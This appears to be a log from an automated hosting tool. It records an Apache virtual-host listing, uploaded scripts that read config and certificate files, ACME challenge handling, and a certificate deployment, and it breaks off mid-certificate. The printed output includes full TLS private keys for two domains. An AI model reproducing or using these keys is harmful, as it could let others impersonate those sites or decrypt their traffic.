         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-28 06:00:11: 

PUT: /tmp/pkp244211

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-28 06:00:11: 

chmod 755 /tmp/pkp244211; /tmp/pkp244211; rm /tmp/pkp244211

2025-11-28 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf	1621
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2025-11-28 06:00:11: 

PUT: /tmp/pkp543486

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-28 06:00:11: 

chmod 755 /tmp/pkp543486; /tmp/pkp543486; rm /tmp/pkp543486

2025-11-28 06:00:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8	5361
a3:23:22:ea:10:73:5d:ba:3d:df:27:36:79:b9:80:ff

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBVN3buV8iJBQpNNmoRs6wJZVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTI4MDUwMTM5WhcNMjYwMjI2MDUwMTM4WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBALvHWPdYKMRSAz7ko5C5PA1ZolBpM5GvZEm1rzNMQV+eNDWjr7Gtc1gn
hHyh/ncmFsRuud70D0oRNY146miyWMXV+F8P3mOq6WtlsBzWtbC3A6QgIQWHkZoS
rqPRbcw0E+2GQLKW6sr7MmgiLKbixhmiv9Myxx0pxsoDSvCwQ6RbH/pmXXqnHyoS
q5aJOcQhj+kCJHzGR/JEQvVd1epEepz3CpA0Bz5HIxRR6O4Ga1KjxH35Zz+fgl6v
S5lB/3jKfGE44NvJF8Lmw9gaS/r+SoipsgPoRaMOhYbXevRvXmQTLFo2Yr0wlqEW
F+dsqanPQchjeJbqTEozqtBmwNmhhicCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQU5zq7lDSMl1P9Zv4/RzCmbkx+JmUwHwYDVR0jBBgwFoAUALUp
8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEyLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzg2LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABmskMK+4A
AAQDAEYwRAIgPYGuUjYB+6SoMNMeVJ8RgOmySoy4/QRONTCz27qc1dMCIDbKOf9S
YGriuHjyi5bP8w4LXuYCPF7t4cNMiAzn4ZAYAHcAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGayQwsAAAABAMASDBGAiEAzYz0R4xeN4SgmI4TQg/V
Np2z1gFUs7LAeoXFafwql4sCIQCxHwgW4RvagZ6OKA8stsg5HwXHKpKsLc/Bfy66
7IR+jzANBgkqhkiG9w0BAQsFAAOCAQEAMnpYOu8nAIqNpS+WumIxtbpeL2ZVltAx
725q6f5+qdysMTfBxtxAEXtlVKU8RjHFRewsfYGRxzcEItswhLEwmlJEgiOXB8AF
UC0cfnvxX1wtIJHrNIkyI2eNuCBAQbVP1PjLX5wkBOGHwXxCfvlcId0TpnL9wP+N
hoCPWrB2HOb7a3kMYavsUQdjW0WsKorUimc/JIOXUNyhM0liXwnoU8AsQ+6DZ46M
C7dW3XAVuF9nRb3I1C+Fca+BvjT3JLbajwj3xlubN8L/69wn8F8WQw0fiBH+38LQ
hqmYB/ibd3qjmudWRDCC6CgqbBY6KTZz8oNA1mqhfT0E/3GGL1DeqQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC7x1j3WCjEUgM+
5KOQuTwNWaJQaTORr2RJta8zTEFfnjQ1o6+xrXNYJ4R8of53JhbEbrne9A9KETWN
eOposljF1fhfD95jqulrZbAc1rWwtwOkICEFh5GaEq6j0W3MNBPthkCylurK+zJo
Iiym4sYZor/TMscdKcbKA0rwsEOkWx/6Zl16px8qEquWiTnEIY/pAiR8xkfyREL1
XdXqRHqc9wqQNAc+RyMUUejuBmtSo8R9+Wc/n4Jer0uZQf94ynxhOODbyRfC5sPY
Gkv6/kqIqbID6EWjDoWG13r0b15kEyxaNmK9MJahFhfnbKmpz0HIY3iW6kxKM6rQ
ZsDZoYYnAgMBAAECggEASklwGdJHtnsXi58aUlvltQZb32HvI9h2XW7CFBI73p8Q
2pOaIzmSYzKnCENyDyMDaMzBPcHh9pReUkyet7Kuyf1/V+RIP7fSxkkhZhdPI80T
ZK/NQInEgWaYrnhg7qM/qv0sxTpNQuYjp+y1K4SViHjJWL1C5nerjCnHUPb6m58+
jZ4XPQeWYQD8kb0nBnherYXgIVhiKWSTjUT6hTKckjt0K6VSs1/0Xa87ZHu2GoNR
pd1opxHM3pPREVnXJHFZP+wKeowHyGxHrGNVQtNdlreDnMfZuZL8QMLLX7FXx92r
D+YCmFAF7ZF2tuQOD8Qa8v4FCyMStFot2AzNddhgGQKBgQD3B0qc7KNgPmw43CL2
46HMSyzvslAIP1xRKEX2+woBXpHdVaks5gBlDDvYcdK1uUfMuL6QcNECq8qteXB1
/NC3pOgTyzdO/2QmKiynwfTpc87+id1AISZsJgOPMPir/NJH7BqxS3UIa0OE42ZN
yYfqqQtN63p0KW4seEZ7DxLoGwKBgQDCmTDGayvjkQYt+qG74pGVw2hH8ap/ElRr
Y7vWqI9NZ78sTzainBp4bKA/oDiKseG8z8tZGUpqpNsBB318WWcBmHNqNid/oiBC
5HOnOQ9g4hd4tuGdiAV8SZCCuvSGX6fyWMARjatrUet0IvjK62KYVBxXK3DQPpTz
nS/8npIS5QKBgAyX3ZDka2vDoua/KjUl46CzkGXj1DqnaEBm6jIuGBN7y7nZ3RcB
3rFID2D4ZIKJIITqQiTA65bURS/UygvpyIYkLQSdToODd4qOido/hAnGsp29T38u
cXP/+Bx7paG28M1j1vSE4UF9nmKO6S87/+bRmVbukz6KwigYNZeebBtTAoGBAMGz
oPRw63ALBJ6x81nFTmtH5j5u1OrGARggX3JtuK8xDP97HgRA5KxoXB7ZSk7sf6nl
ISHgZc2/qWvd28/yYfEZohDgNPL8G6baJjEXQDKM+xYi3HNlWSh9RYaLuCklgFRg
eVc/sJkUIw4oXYQHR84fM1KloBb5pGTWW1TXNsntAoGBAOjZmxphRnAZnW0vhCo5
Ir/pcBX+RdHNNhBnsGU/cQrwJ9NTXQ5yObPfDWof2tBbrCQe3+dej/K+t9TPYKOi
O8QGFfNayrPCsXC4foBJ8hQ542Ym4DlifZxZWIUva79HqFwgw50WuP7RNSicWorb
xiHBjMRKdjQ5LI2xYUV3PyqK
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-28 06:00:11: Establishing a connection
2025-11-28 06:00:12: Establishing a connection
2025-11-28 06:00:13: 

PUT: /tmp/pkp906109

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-28 06:00:14: 

chmod 755 /tmp/pkp906109; /tmp/pkp906109; rm /tmp/pkp906109

2025-11-28 06:00:14: 


0


2025-11-29 06:00:03: Establishing a connection
2025-11-29 06:00:04: Establishing a connection
2025-11-29 06:00:05: 

PUT: /tmp/pkp225676

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-29 06:00:06: 

chmod 755 /tmp/pkp225676; /tmp/pkp225676; rm /tmp/pkp225676

2025-11-29 06:00:06: 


0


2025-11-30 06:00:02: Establishing a connection
2025-11-30 06:00:04: Establishing a connection
2025-11-30 06:00:05: 

PUT: /tmp/pkp461618

#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-30 06:00:06: 

chmod 755 /tmp/pkp461618; /tmp/pkp461618; rm /tmp/pkp461618

2025-11-30 06:00:06: 


1


2025-11-30 06:00:08: Establishing a connection
2025-11-30 06:00:09: 

PUT: /tmp/pkp567981

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c


2025-11-30 06:00:10: 

chmod 755 /tmp/pkp567981; /tmp/pkp567981; rm /tmp/pkp567981

2025-11-30 06:00:10: 




2025-11-30 06:00:15: Establishing a connection
2025-11-30 06:00:17: 

PUT: /tmp/pkp744428

#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm oYrD7C2uZKF5tHErfOlNUQ_Udo6CNQx07ORU8yqYQ8c


2025-11-30 06:00:18: 

chmod 755 /tmp/pkp744428; /tmp/pkp744428; rm /tmp/pkp744428

2025-11-30 06:00:18: 




2025-11-30 06:00:18: Establishing a connection
2025-11-30 06:00:19: 

PUT: /tmp/pkp556985

#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt

cat > $temp_file <<'endmsg'
a5:aa:d5:d7:d7:91:f4:a6:8e:ca:d9:68:7c:c5:93:8f

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBWlai98p5Mkc6wAmN91MBHDbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMTQzWhcNMjYwMjI4MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMBIICJ/afjD+LUKIl6+NaresHmxcLsxWqKtxzpHxyZFL/wmb+rxap1dbBxJ
TklQWsqqJnwUI1Bcucg7ZwnFAfLuVD30hziLmmde4qnLiqFaBpYb0CZ1M3G1ryYn
l3lVQeObKB3i+sPQibl7Y5SxpBzrUYUoPYZ8w5mQ10epv6jf7d13hjBLTyjCVR71
wh37RlwpgEbSjIi7EXwhSqDcOixxt6vtnmbxfokCn8YUpX97/syhIrwetBr9hBYJ
HmhjSGNqEb/HvAkCLiH/xU7UB2OFAuJWkmJxs+PUgP1myVeZ5nUyS50Ht8vU29cE
47zzBk9oMDnFP2JCEeMQoMGsgPkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU2g0tCOOKvH6x1nYFx5F2ThQHUoMwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzkyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1
AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmtNY9CAAAAQDAEYw
RAIgJJ39QI437s/U6PqVzUihfvQT+SQ4IipdUhAMUGwwe5gCIAKKKTCbLzCGEose
exOvbmdA87YBWODy4vFeXdj6ElubAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGa01j7+wAABAMARzBFAiEApSR8XgK5X2wv9zVeaIdzZjUuEAUB
ToWbJypy91AIQ3ECIHnSM8k1J1IbSwQFc1GiHkqpno5sIR9EXvkrRyqN5ZjFMA0G
CSqGSIb3DQEBCwUAA4IBAQACp6shA3NHNN1v+6vUo6EEUorI5QoQbpZZ1Mwngiqp
JwxDNEZXYRtTy4DIBVtwUmMoAgh5eQWe7k+RIF1+o4z2U7QGRiJLBX3xy7P8iF9Z
J3a6zIl6XGqIKG7ViSRwMeHBmarauGlBTFp6/kVKCAokg91PCSg15eMMqeS9fi/Q
ZxBA4zCe29+KNeqkvv9UgwdNsqRiwSGH+ZCbD48oC5xLfB4brZnOMN0zeke0rC+p
nKjhA/c+CEVOcx+Sp+7dseeu1IuMZ+TdJEK/lK5/eXwv8ZuhkR4TJGHfnqpMb71L
tTWi6voJspYBkpugkpXW/OhepxnHsBM4cGYlhonPkqGo
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDASCAif2n4w/i1
CiJevjWq3rB5sXC7MVqircc6R8cmRS/8Jm/q8WqdXWwcSU5JUFrKqiZ8FCNQXLnI
O2cJxQHy7lQ99Ic4i5pnXuKpy4qhWgaWG9AmdTNxta8mJ5d5VUHjmygd4vrD0Im5
e2OUsaQc61GFKD2GfMOZkNdHqb+o3+3dd4YwS08owlUe9cId+0ZcKYBG0oyIuxF8
IUqg3Doscber7Z5m8X6JAp/GFKV/e/7MoSK8HrQa/YQWCR5oY0hjahG/x7wJAi4h
/8VO1AdjhQLiVpJicbPj1ID9ZslXmeZ1MkudB7fL1NvXBOO88wZPaDA5xT9iQhHj
EKDBrID5AgMBAAECggEBAIYdCITnV/PSRJOJmQV6KBahMnf+4oE+YFhdWzt0Oxyf
X2PBL4iwkEtokPJ90uPh7yGyYhtjNGpl8pMNk8XFqqFVyF5aQ0KWZMC69t+1f2Eh
WLy0c4+Paa1jKuIy9T0E0Ws+mlGWMpAH0TgVLxTUfoJJQ9fbhGZceVWQKAftByhy
qnYUUOKZtm3xinY2rAsrHw+vznEK2iwq+Gap/b1co19wtCwV+s7LIWRJ6bt+1yet
r/mznTrvZB3LSQUOVruL0A3GRQYYNkKvvEzD0GMxt+yfz/Csu7SFFTzyfHuGx/Br
I24jKQSZooeNYXZ6vehCFCHMfvc0QnHKn3oE9T+hY80CgYEA4ovPcM1TqCS7eo+t
Jx4ag+DIlKjDcpeiCJhZqDh3ZNO0NnV6JRh5/eeTLI9fqKmcpispm4ppSDIp5XlU
c5Gd3u8On8BDaZkYUxfmEhf8nbTqxLUNd0OCPUpLribLF9YJiFwjoDeWH/abSusg
u2M7GQI8HtLUIQIHKD8i0atoT9cCgYEA2Ufil1VMj1hBykT+V7p3NSa5QTtLU60d
G89aW2pElQf7ZZ7l0V/Fu8NODJQUTBhT5HzGfoE/akdahHv95M8yQ3sCOIfEi6J3
5hHHJMd1xlVLW6kIrUGesKXSw2dN5rQF673hIyr17gzQoZsX1JL0ZG8UPVVWqsiG
qvUA56FX268CgYA8EXgaX8b7wWmYcLonshqztwlYKXtRShVjlAnJydcWe++/tNyD
M389LIbgfM+PaBGqGa25mTSbOPnU55vV3NlwQBCvmQoG2NoTRjXxvDx2EH9jUuJU
KilBWQ7CCXU2R8FVT6D+nV6H8Rpx/fA632/PDMGmJp6qdeAx8rOnxnwtFwKBgQC2
thI++8WjjK3WL2pJz01K7sM9rWTMenhN2HG9CYGeaNXoQFQ1WnnmSHercCIZUyPI
sXwhCQKQlmvxmGqKLAmyYRAfBVwrp3V3jF+P+AJ7w2HZNC1NtC6DkQ3Ir2f8pkmM
UWGutwOTKEeQfeDuKp1Ej3vPj6GPf4xu2hPms/AzlQKBgF4I+Ss3u7DbzbsK6R+K
Xt/S79+IHKOziM8rHIsfWSe46cef8pcLFlYj2Sse1V/nVja3qYWIzV9c8NDwMBgX
mtEIwj47gfuLuDNv3rWxI9wTtbb5Or2uZRL8cPGIuhbognKG+PPmwJukSDBxlBHf
UDnj2gusNGu7B8QKlh7P4jvC
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
